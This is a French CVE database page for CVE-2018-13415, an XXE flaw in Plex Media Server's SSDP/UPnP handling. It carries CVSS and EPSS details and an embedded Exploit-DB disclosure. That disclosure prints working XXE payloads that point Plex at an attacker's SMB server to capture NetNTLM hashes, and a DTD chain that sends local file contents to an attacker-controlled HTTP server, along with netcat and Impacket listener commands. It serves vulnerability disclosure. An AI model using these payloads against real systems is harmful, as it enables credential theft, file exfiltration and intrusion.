CVE-2018-13415 : Détail

CVE-2018-13415

9.8
/
Critique
A05-Security Misconfiguration
3.98%V3
Network
2018-08-13
15h00 +00:00
2018-08-14
07h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

In Plex Media Server 1.13.2.5154, the XML parsing engine for SSDP/UPnP functionality is vulnerable to an XML External Entity Processing (XXE) attack. Remote, unauthenticated attackers can use this vulnerability to: (1) Access arbitrary files from the filesystem with the same permission as the user account running Plex, (2) Initiate SMB connections to capture a NetNTLM challenge/response and crack to cleartext password, or (3) Initiate SMB connections to relay a NetNTLM challenge/response and achieve Remote Command Execution in Windows domains.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-611 Improper Restriction of XML External Entity Reference
The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 45146

Date de publication : 2018-08-02 22h00 +00:00
Auteur : Chris Moberly
EDB Vérifié : No

Issue: Out-of-Band XXE in Plex Media Server's SSDP Processing Reserved CVE: CVE-2018-13415 # Vulnerability Overview The XML parsing engine for Plex Media Server's SSDP/UPNP functionality is vulnerable to an XML External Entity Processing (XXE) attack. Unauthenticated attackers on the same LAN can use this vulnerability to: - Access arbitrary files from the filesystem with the same permission as the user account running Plex. - Initiate SMB connections to capture NetNTLM challenge/response and crack to clear-text password. - Initiate SMB connections to relay NetNTLM challenge/response and achieve Remote Command Execution in Windows domains. Exploitation can be demonstrated using evil-ssdp (https://gitlab.com/initstring/evil-ssdp). # Discovered By Chris Moberly @ The Missing Link Security # Vendor Status Disclosed to Plex security team, pending resolution. # Vulnerability Details Attack type: Remote, unauthenticated Impact: Information disclosure up to code execution Affected component: Plex Media Server's SSDP discovery / parsing with libxml2 Operating Systems affected: Verified Windows 10 and Ubuntu Linux 18.10 (likely all versions) Plex version affected: Tested on 1.13.2.5154 (current as of July 2018). Older versions likely also vulnerable. Attack vector: XXE # Technical Overview Plex, like many other media servers, will attempt to discover other devices on a local network. The discovery process is handled by Simple Service Discovery Protocol (SSDP), which sends a UDP multicast out to 239.255.255.250 on port 1900. This is the first step in finding and adding Universal Plug and Play (UPNP) devices. We can reply to that UDP multicast directly on the same port that the request initiated from, informing this client that we have a shared device. When we do this, we provide the location of an XML file containing more information about our device. This is called a Device Descriptor. Plex will automatically access the Device Descriptor over HTTP, parsing the XML content. This is expected behaviour for SSDP/UPNP. By hosting a specially crafted XML file at that location, we can force Plex Media Server to do several things. The POC used to prove this vulnerability (POC 1 below) contained the following XML content: ``` <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file://///$smbServer/smb/hash.jpg" > <!ENTITY xxe-url SYSTEM "http://$localIp:$localPort/ssdp/xxe.html" > ]> <hello>&xxe;&xxe-url;</hello> <root> <specVersion> <major>1</major> <minor>0</minor> </specVersion> <device> ``` When Plex parses this, it does two things: 1. Accesses the SMB share running at the $smbServer variable. This allows us to collect or relay the NetNTLM challenge/response. 2. Accesses an HTTP server at the $localIp variable. This is used for verification purposes while testing the vulnerability. The unexpected behaviour here is the ability to provide the `ENTITY` tags, forcing Plex to automatically access file paths and HTTP URLs. While our POC above uses an SMB share for attacking Windows clients, this could be modified to read local files into a variable and then pass that variable via HTTP to an attacker-controlled server. This type of attack could be used to read the contents of local files (like /etc/passwd in the Linux world). # POC 1: Capcturing NetNTLM Challenge/Response This is a common attack method inside a Windows domain, where compromising an account can assist with moving laterally through the network. This vulnerability can be easily validated using the [evil-ssdp tool found here](https://gitlab.com/initstring/evil-ssdp). The process is: 1. Execute the evil-ssdp tool as follows from a Linux host: ``` essdp.py eth0 -t xxe-smb # instructs tool to use the 'xxe' template for zero-day hunting ``` 2. From the same Linux host, either launch a simple netcat listener like this: ``` sudo nc -nlvp 445 ``` or use Impacket to listen and extract the NetNTLM challenge/response as follows: ``` sudo python examples/smbserver.py smb /tmp/smb/ ``` 3. From a Windows host on the same network, simply restart Plex. evil-ssdp will display messages like the following: ``` [M-SEARCH] New Host 192.168.1.100, Service Type: ssdp:all [XML REQUEST] Host: 192.168.1.100, User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 GET /ssdp/device-desc.xml [XML REQUEST] Host: 192.168.1.100, User-Agent: DVBLink GET /ssdp/device-desc.xml [XXE VULN!!!!] Host: 192.168.1.100, User-Agent: None ``` When that happens, either the netcat listener or the Impacket SMB server will receive the connection. If using Impacket, you will now have the NetNTLM challenge/response of the user running Plex. This can be cracked to clear-text using tools like Hashcat. Alternatively, you can use Impacket to relay that hash to another machine on the network, achieving remote code execution. # POC 2: Accessing Arbitrary Files If an attacker knows specifically what files they are looking for, this same vulnerability can be used to extract that information. Essentially, an XML entity will be defined as a variable, storing the output of a file on the machine where Plex is installed. Then, an HTTP request will be sent to the attacker's machine that includes that variable. The attacker will be able to see this file in their HTTP server logs. We need two files hosted on the attacking server to do this. The initial Device Descriptor sent is: ``` <!DOCTYPE data[ <!ENTITY % file SYSTEM "file:///C:/users/public/pwned.txt"> <!ENTITY % dtd SYSTEM "http://$localIp:$localPort/ssdp/data.dtd"> %dtd; ]> <data>&send;</data> ``` Which triggers another connection request to the following data.dtd file: ``` <!ENTITY % all "<!ENTITY send SYSTEM 'http://$localIp:$localPort/?exfiltrated=%file;'>"> %all; ``` We can also verify this using the evil-ssdp tool, using the 'xxe-exfil' template. For this POC, only extraction of 1-line files was found to be possible. To reproduce: 1. Create a test file 'C:\Users\Public\pwned.txt' on the Windows hosts where Plex is installed. Please 1 line of text with no whitespaces inside, like this: ``` secretstuff! ``` 2. Execute the evil-ssdp tool as follows from a Linux host on the same network: ``` essdp.py eth0 -t xxe-exfil # instructs tool to use the 'xxe-exfil' template for zero-day hunting ``` 3. Back on the Windows host, simply restart Plex. evil-ssdp will display messages like the following ``` [XML REQUEST] Host: 192.168.1.100, User-Agent: DVBLink GET /ssdp/device-desc.xml [XXE VULN!!!!] Host: 192.168.1.100, User-Agent: None GET /ssdp/data.dtd [EXFILTRATION] Host: 192.168.1.100, User-Agent: None GET /?exfiltrated=secretstuff! ```

Products Mentioned

Configuraton 0

Plex>>Media_server >> Version 1.13.2.5154

Références

https://www.exploit-db.com/exploits/45146/
Tags : exploit, x_refsource_EXPLOIT-DB
http://seclists.org/fulldisclosure/2018/Aug/1
Tags : mailing-list, x_refsource_FULLDISC